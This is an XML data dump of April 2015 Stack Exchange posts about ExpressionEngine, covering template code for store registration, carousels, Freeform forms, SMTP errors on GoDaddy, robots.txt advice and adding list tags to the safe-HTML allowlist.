  <row Id="31061" PostTypeId="1" CreationDate="2015-04-16T20:02:31.767" Score="1" ViewCount="70" Body="&lt;p&gt;Can't seem to get the register member on Expresso Store v2.4.1 to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've the following but submitting the form does nothing (stay on same page):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;    &amp;lt;fieldset id=&quot;register_member&quot;&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Member Account&amp;lt;/legend&amp;gt;&#xA;&#xA;    {field:register_member} &amp;lt;label for=&quot;register_member&quot;&amp;gt;Register Member Account?&amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;!-- These fields are optional --&amp;gt;&#xA;    &amp;lt;div class=&quot;toggle&quot;&amp;gt;&#xA;      &amp;lt;div&amp;gt;&#xA;        &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;        {field:password}&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div&amp;gt;&#xA;        &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&#xA;        {field:password_confirm}&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div&amp;gt;&#xA;        &amp;lt;label for=&quot;username&quot;&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;        {field:username}&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div&amp;gt;&#xA;        &amp;lt;label for=&quot;screen_name&quot;&amp;gt;Screen Name&amp;lt;/label&amp;gt;&#xA;        {field:screen_name}&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need anything else for this to work. I have allow  new member registrations set to yes in the member preferences?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even tried the register_member=&quot;yes&quot; on the checkout form which allowed me through to the next page but still no account has been created.&lt;/p&gt;&#xA;" OwnerUserId="547" LastEditorUserId="547" LastEditDate="2015-04-16T22:21:08.297" LastActivityDate="2015-04-16T22:27:48.577" Title="Expresso Store - Register Member not working" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31062" PostTypeId="1" AcceptedAnswerId="31063" CreationDate="2015-04-16T21:01:37.927" Score="0" ViewCount="894" Body="&lt;p&gt;Have a site where when sending mail using an SMTP connect, I'm getting a &quot;connection refused&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When sending email using PHP or Sendmail, site owner is not receiving the emails at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site is hosted on GoDaddy... and can't be moved to new hosting company.&lt;/p&gt;&#xA;" OwnerUserId="2776" LastActivityDate="2016-06-16T21:04:11.683" Title="Connection refused (error 111) when sending SMTP mail" Tags="|email|godaddy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31063" PostTypeId="2" ParentId="31062" CreationDate="2015-04-16T21:01:37.927" Score="0" Body="&lt;p&gt;Turns out that I needed to enable &quot;Remote Mail Exchanger&quot; setting in the MX Records section of the cPanel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I did this, I was able to use PHP mail.&lt;/p&gt;&#xA;" OwnerUserId="2776" LastActivityDate="2015-04-16T21:01:37.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31064" PostTypeId="1" AcceptedAnswerId="31071" CreationDate="2015-04-16T21:28:44.333" Score="0" ViewCount="48" Body="&lt;p&gt;Does this make any sense in a robots.txt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User-Agent: *&#xA;Disallow: /your_system_folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing since the robots.txt file can be read it makes it even more dangerous to expose the system folder's name... but, is that folder hidden from bot's eyes'?&lt;/p&gt;&#xA;" OwnerUserId="102" LastActivityDate="2015-04-17T06:57:31.953" Title="Is it necessary to hide the system folder from search robots?" Tags="|security|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31065" PostTypeId="1" CreationDate="2015-04-16T22:04:59.423" Score="-2" ViewCount="63" Body="&lt;p&gt;So. I have one channel&#xA;3 categories in this channel&#xA;and 5 entries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every entry need comment form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How i can do that?&#xA;What i should put in Channel Preferences - Comment Page URL ?&#xA;And how to create template for comments?&lt;/p&gt;&#xA;" OwnerUserId="3683" LastActivityDate="2015-04-17T12:10:19.760" Title="Comment Page URL for entry" Tags="|ee2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31066" PostTypeId="2" ParentId="31061" CreationDate="2015-04-16T22:27:48.577" Score="1" Body="&lt;p&gt;Ok needed register_member=&quot;yes&quot; on the checkout form. NOTE: The member account only gets created if the order is successful.&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-04-16T22:27:48.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31067" PostTypeId="2" ParentId="31043" CreationDate="2015-04-16T23:00:43.407" Score="1" Body="&lt;p&gt;The easiest way is probably to force your english translation in all of your store templates. Lets for example say you have a header that is shared across all of your templates and that your store templates are in a group called &lt;code&gt;shop&lt;/code&gt;. Also lets assume that your English translation has an ID of &lt;code&gt;1&lt;/code&gt; and a name of &lt;code&gt;english&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your header template you would be able to simply add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;shop&quot;}&#xA; {exp:transcribe:language name=&quot;english&quot;}&#xA;  {!-- Alternatively you could use --&#xA;   {exp:transcribe:language id=&quot;1&quot;}&#xA;  --}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sets the language to be used from the template. This can be used to&#xA;  override the default behavior of Transcribe which is to figure out&#xA;  what language to load automatically.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Full documentation for the tag can be found in the 3rd item on &lt;a href=&quot;http://eeharbor.com/transcribe/documentation#tag-reference&quot; rel=&quot;nofollow&quot;&gt;EEHarbor&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-04-16T23:00:43.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31068" PostTypeId="2" ParentId="31033" CreationDate="2015-04-16T23:02:26.473" Score="0" Body="&lt;p&gt;I found the answer. The way the XML file was being rendered, there was no line break between the item closing tag, and the next item's opening tag (&lt;code&gt;&amp;lt;/item&amp;gt;&amp;lt;item&amp;gt;&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This passed all validation tests, but WP wouldn't process it properly. I added the line breaks, and everything worked as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone for the effort!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ty&lt;/p&gt;&#xA;" OwnerUserId="897" LastActivityDate="2015-04-16T23:02:26.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31069" PostTypeId="1" AcceptedAnswerId="31080" CreationDate="2015-04-17T02:54:59.567" Score="0" ViewCount="1332" Body="&lt;p&gt;I am using bootstrap carousel with EE's Grid and the page is not displaying correctly. All 3 slides are displaying on top of each other. I think its the &quot;active&quot; class is being applied to each slide in each div. I think I need a conditional on the active class but I don't know how to do it.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;carousel slide&quot; data-ride=&quot;carousel&quot; id=&quot;carousel-example&quot;&amp;gt;&#xA;            &amp;lt;ol class=&quot;carousel-indicators&quot;&amp;gt;&#xA;                &amp;lt;li data-target=&quot;#carousel-example&quot; data-slide-to=&quot;0&quot; class=&quot;active&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li data-target=&quot;#carousel-example&quot; data-slide-to=&quot;1&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;li data-target=&quot;#carousel-example&quot; data-slide-to=&quot;2&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ol&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;div class=&quot;carousel-inner&quot;&amp;gt;&#xA;                  {exp:channel:entries channel=&quot;slider&quot; {snp-disable}}  &#xA;                  {home_page_slider}&#xA;                &amp;lt;div class=&quot;item active&quot;&amp;gt;&amp;lt;img src=&quot;{home_page_slider:slider_image}&quot; alt=&quot;Slide&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                   {/home_page_slider}&#xA;                    {/exp:channel:entries}&#xA;&#xA;             &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;a href=&quot;#carousel-example&quot; class=&quot;left carousel-control&quot; data-slide=&quot;prev&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;glyphicon glyphicon-chevron-left&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            &amp;lt;a href=&quot;#carousel-example&quot; class=&quot;right carousel-control&quot; data-slide=&quot;next&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;glyphicon glyphicon-chevron-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1330" LastEditorUserId="1330" LastEditDate="2015-04-17T03:06:14.767" LastActivityDate="2015-04-17T14:27:15.293" Title="Grid with Bootstrap carousel not displaying correctly." Tags="|grid|bootstrap|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31070" PostTypeId="2" ParentId="31069" CreationDate="2015-04-17T06:51:32.667" Score="0" Body="&lt;p&gt;Simply check the count and output the active class in the first item that you iterate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if home_page_slider:count == &quot;1&quot;}active{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or specifically using your example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item{if home_page_slider:count == &quot;1&quot;} active{/if}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="339" LastActivityDate="2015-04-17T06:51:32.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31071" PostTypeId="2" ParentId="31064" CreationDate="2015-04-17T06:57:31.953" Score="1" Body="&lt;p&gt;I would not put it in your robots.txt file. As you noted, it exposes the path to your system folder. Malicious bots or users will certainly look at that file and poke around the paths you have in there. So long as you don't have a hyperlink to your system folder in your site, an SEO bot won't stumble upon or find it anyways&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2015-04-17T06:57:31.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31073" PostTypeId="2" ParentId="31058" CreationDate="2015-04-17T07:06:33.127" Score="1" Body="&lt;p&gt;Try utilizing the &quot;prefix&quot; parameter to avoid variable collisions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tagger:entries_quick prefix=&quot;test&quot;}&#xA;    &amp;lt;a href=&quot;{test:urlsafe_tagname}&quot;&amp;gt;{test:tag_name}&amp;lt;/a&amp;gt;&#xA;{/exp:tagger:entries_quick}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="339" LastActivityDate="2015-04-17T07:06:33.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31074" PostTypeId="1" AcceptedAnswerId="31077" CreationDate="2015-04-17T09:26:25.803" Score="0" ViewCount="55" Body="&lt;p&gt;When I select &quot;Allow only safe HTML&quot; for EE's discussion forum it correctly allows tags for links, images, bold etc but it doesn't seem to allow &lt;code&gt;&amp;lt;ol&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt;. Is there any way to add these to the list of safe HTML tags for EE?&lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2015-04-17T11:42:13.723" Title="Add tags to Safe HTML" Tags="|xss|discussion|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31075" PostTypeId="2" ParentId="30815" CreationDate="2015-04-17T09:38:09.527" Score="1" Body="&lt;p&gt;Stop the presses, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see in your question if you followed the documented process over at bold minded here : &lt;a href=&quot;https://boldminded.com/add-ons/wyvern/documentation&quot; rel=&quot;nofollow&quot;&gt;https://boldminded.com/add-ons/wyvern/documentation&lt;/a&gt; (all my quotes below are from this site)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Step one (which I assume you've done as you can see it in the field list) : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Adding 3rd Party Plugins (after version 1.2.7)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Place your CKEditor plugin inside the&#xA;  /themes/third_party/wyvern/plugins/ folder. In the ExpressionEngine&#xA;  control panel go to Add-ons » Fieldtypes » Wyvern and select your&#xA;  plugin in the multi-select menu to enable it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, Step 2 all you need to do is add it to the toolbar : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Adding buttons to the toolbar&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;By default, Wyvern intentionally comes with a limited set of CKEditor&#xA;  buttons in the Fieldtype settings page. I have chosen to keep the&#xA;  default list to the essentials for simplicity. If a button you need is&#xA;  not found in the Toolbar list, open the&#xA;  system/expressionengine/third_party/wyvern/config.php file. You will&#xA;  see an array which defines the default list, as well as the rest of&#xA;  the available CKEditor buttons, which are commented out. To enable a&#xA;  button, simply remove the code comment prior to that button. Go back&#xA;  to the Add-ons &gt; Fieldtypes &gt; Wyvern page and the button will be&#xA;  available within the Toolbar list.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; This is not CKEditors &quot;config.js&quot; but Wyverns &quot;config.php&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure from your question if you have seen this page or anything, but can you try this process and let us know how you get on! I would recommend rolling your changes back and trying this first...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-17T09:38:09.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31077" PostTypeId="2" ParentId="31074" CreationDate="2015-04-17T11:42:13.723" Score="1" Body="&lt;p&gt;&lt;strong&gt;Word of Warning&lt;/strong&gt;&#xA;First let me warn you the below technique involved modifying core files, and is not recommended. If you update EE you may overwrite these chnages!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do is add tags to the EE Typography class. &lt;code&gt;/system/expressionengine/libraries/EE_Typeography.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add UL, OL and LI open this file, look to lines 143 to 165 (ish), you will see sometihng like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /** -------------------------------------&#xA;    /**  Allowed tags&#xA;    /** -------------------------------------*/&#xA;&#xA;    // Note: The decoding array is associative, allowing more precise mapping&#xA;&#xA;    $this-&amp;gt;safe_encode = array('b', 'i', 'em', 'del', 'ins', 'strong', 'pre', 'code', 'blockquote');&#xA;&#xA;    $this-&amp;gt;safe_decode = array(&#xA;        'b'             =&amp;gt; 'b',&#xA;        'i'             =&amp;gt; 'i',&#xA;        'em'            =&amp;gt; 'em',&#xA;        'del'           =&amp;gt; 'del',&#xA;        'ins'           =&amp;gt; 'ins',&#xA;        'strong'        =&amp;gt; 'strong',&#xA;        'pre'           =&amp;gt; 'pre',&#xA;        'code'          =&amp;gt; 'code',&#xA;        'blockquote'    =&amp;gt; 'blockquote',&#xA;        'quote'         =&amp;gt; 'blockquote',&#xA;        'QUOTE'         =&amp;gt; 'blockquote'&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To allow the BB style version, add the tags to the &lt;code&gt;safe_decode&lt;/code&gt; array, to allow the html version to be encoded as well add them to the &lt;code&gt;safe_encode&lt;/code&gt; array. So to allow both BB and HTML OL's and UL's : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /** -------------------------------------&#xA;    /**  Allowed tags&#xA;    /** -------------------------------------*/&#xA;&#xA;    // Note: The decoding array is associative, allowing more precise mapping&#xA;&#xA;    $this-&amp;gt;safe_encode = array('b', 'i', 'em', 'del', 'ins', 'strong', 'pre', 'code', 'blockquote', 'ol', 'ul', 'li');&#xA;&#xA;    $this-&amp;gt;safe_decode = array(&#xA;        'b'             =&amp;gt; 'b',&#xA;        'i'             =&amp;gt; 'i',&#xA;        'em'            =&amp;gt; 'em',&#xA;        'del'           =&amp;gt; 'del',&#xA;        'ins'           =&amp;gt; 'ins',&#xA;        'strong'        =&amp;gt; 'strong',&#xA;        'pre'           =&amp;gt; 'pre',&#xA;        'code'          =&amp;gt; 'code',&#xA;        'blockquote'    =&amp;gt; 'blockquote',&#xA;        'quote'         =&amp;gt; 'blockquote',&#xA;        'QUOTE'         =&amp;gt; 'blockquote',&#xA;        'ol'            =&amp;gt; 'ol',&#xA;        'ul'            =&amp;gt; 'ul',&#xA;        'li'            =&amp;gt; 'li'&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enjoy :) Mark as answer if you accept :D&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-17T11:42:13.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31078" PostTypeId="2" ParentId="31065" CreationDate="2015-04-17T12:10:19.760" Score="1" Body="&lt;p&gt;You'll need to read and understand the documentation for this : &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/comment/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/comment/&lt;/a&gt; You can go down to &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/comment/#comment-submission-form&quot; rel=&quot;nofollow&quot;&gt;here for the comment form&lt;/a&gt; specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Comment Page URL is also explained throughout this page, the Channel Preferences form field is also explained &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentually the Comment Page URL is really for if you have all your comments on the one page...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-17T12:10:19.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31079" PostTypeId="1" AcceptedAnswerId="31133" CreationDate="2015-04-17T14:25:09.007" Score="1" ViewCount="871" Body="&lt;p&gt;I've got a page on my site with two freeform forms, each have different purposes. If I fill out either of the forms entirely (required fields) I am taken to the correct landing page and the correct notification is being sent out so all is functioning correctly there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If do not enter all required fields the inline errors appear but for both forms rather than for the form I submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of any way to make it so that the errors appear only on the submitted form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm happy to create an extension using either the &lt;code&gt;freeform_module_validate_begin&lt;/code&gt; or &lt;code&gt;freeform_module_validate_end&lt;/code&gt; hooks but I'm just not sure where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;product_demo_form&quot; form:id=&quot;demo-form&quot; required=&quot;name|email&quot; return=&quot;{path='demo-enquiry-success'}&quot; inline_errors=&quot;yes&quot; inline_error_return=&quot;products/{url_title}/#demo-form&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;product_name&quot; value=&quot;{title}&quot; /&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            {if freeform:error:name}&amp;lt;span class=&quot;required&quot;&amp;gt;{form_error_name}&amp;lt;/span&amp;gt;{/if}&#xA;            {freeform:field:name attr:placeholder=&quot;Name *&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            {if freeform:error:email}&amp;lt;span class=&quot;required&quot;&amp;gt;{form_error_email}&amp;lt;/span&amp;gt;{/if}&#xA;            {freeform:field:email attr:placeholder=&quot;Email *&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            {freeform:field:phone attr:placeholder=&quot;Phone&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;    {freeform:submit}&#xA;{/exp:freeform:form}&#xA;&#xA;{exp:freeform:form form_name=&quot;product_pdf_download&quot; form:id=&quot;download-form&quot; required=&quot;name|email&quot; return=&quot;{path='download-request-successful'}&quot; inline_errors=&quot;yes&quot; inline_error_return=&quot;products/{url_title}/#download-form&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;product_id&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;product_name&quot; value=&quot;{title}&quot; /&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;            {if freeform:error:name}&amp;lt;span class=&quot;required&quot;&amp;gt;{form_error_name}&amp;lt;/span&amp;gt;{/if}&#xA;            {freeform:field:name attr:placeholder=&quot;Name *&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;            {if freeform:error:email}&amp;lt;span class=&quot;required&quot;&amp;gt;{form_error_email}&amp;lt;/span&amp;gt;{/if}&#xA;            {freeform:field:email attr:placeholder=&quot;Email *&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {freeform:submit}&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="2420" LastEditDate="2015-04-21T10:44:48.853" LastActivityDate="2015-04-21T17:44:44.287" Title="Multiple forms on one page display required field errors when only one form is submitted" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31080" PostTypeId="2" ParentId="31069" CreationDate="2015-04-17T14:27:15.293" Score="0" Body="&lt;p&gt;Here's what I would do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;slider&quot; {snp-disable}}&#xA;{if count == &quot;1&quot;}&#xA;&amp;lt;div class=&quot;carousel slide&quot; data-ride=&quot;carousel&quot; id=&quot;carousel-example&quot;&amp;gt;&#xA;        &amp;lt;ol class=&quot;carousel-indicators&quot;&amp;gt;&#xA;            &amp;lt;li data-target=&quot;#carousel-example&quot; data-slide-to=&quot;0&quot; class=&quot;active&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li data-target=&quot;#carousel-example&quot; data-slide-to=&quot;1&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li data-target=&quot;#carousel-example&quot; data-slide-to=&quot;2&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ol&amp;gt;&#xA;&amp;lt;div class=&quot;carousel-inner&quot;&amp;gt;&#xA;{/if}&#xA;&#xA;    {home_page_slider}&#xA;    &amp;lt;div class=&quot;item{if home_page_slider:count == &quot;1&quot;} active{/if}&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;{home_page_slider:slider_image}&quot; alt=&quot;Slide&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/home_page_slider}&#xA;&#xA;{if count == total_results}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;a href=&quot;#carousel-example&quot; class=&quot;left carousel-control&quot; data-slide=&quot;prev&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;glyphicon glyphicon-chevron-left&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;a href=&quot;#carousel-example&quot; class=&quot;right carousel-control&quot; data-slide=&quot;next&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;glyphicon glyphicon-chevron-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way if the entries loop fails to get your content, none of the carousel markup would display either &lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2015-04-17T14:27:15.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31081" PostTypeId="1" CreationDate="2015-04-17T15:11:57.363" Score="0" ViewCount="30" Body="&lt;p&gt;Is it possible to override the inclusive_categories parameter with a search string? I want to use inclusive_categories for every case except for when a search string is passed to the results template. For example, this is my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results inclusive_categories=&quot;yes&quot;}&#xA;    Results&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I want to pass a search string to the results template and set inclusive_categories=&quot;no&quot;. So I tried this string which does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/search/locations/search?&amp;amp;amp;channel=locations&amp;amp;amp;XID={XID_HASH}&amp;amp;amp;category=category1+category2&amp;amp;amp;inclusive_categories=no&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to approach this?&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2016-05-24T23:55:30.567" Title="Override inclusive_categories=&quot;yes&quot; with search string?" Tags="|supersearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31082" PostTypeId="1" AcceptedAnswerId="31085" CreationDate="2015-04-17T16:06:06.407" Score="3" ViewCount="216" Body="&lt;p&gt;According to EE documentation, you can set the 'seconds between searches' for each member group. But where is the setting for members who are not logged in?&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2015-04-17T18:38:58.270" Title="&quot;Only allowed to search every 15 seconds&quot; setting for non-logged-in users?" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31083" PostTypeId="2" ParentId="30945" CreationDate="2015-04-17T18:26:00.917" Score="1" Body="&lt;p&gt;Which version of EE and Super Search are you using? I tested this with each of these variables and they worked perfectly (of course, each one needs to be configured manually for each channel's preferences in each site):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;{auto_path}&lt;/li&gt;&#xA;&lt;li&gt;{comment_auto_path}&lt;/li&gt;&#xA;&lt;li&gt;{comment_entry_id_auto_path}&lt;/li&gt;&#xA;&lt;li&gt;{comment_url_title_auto_path}&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-04-17T18:26:00.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31084" PostTypeId="1" CreationDate="2015-04-17T18:38:02.873" Score="0" ViewCount="38" Body="&lt;p&gt;I've got a client who would like to add notes to the Order Details of the admin section. For example, a field that the order admin can add the tracking number of the item shipped or if the item was returned/exchanged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only place I've seen the admin able to input anything is in the message field of the Order Status - and if I'm not mistaken, that message actually goes to the customer and it not just for the admin's reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way possible to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="868" LastActivityDate="2016-05-20T07:51:23.230" Title="Can I add place for notes by the admin in order details?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
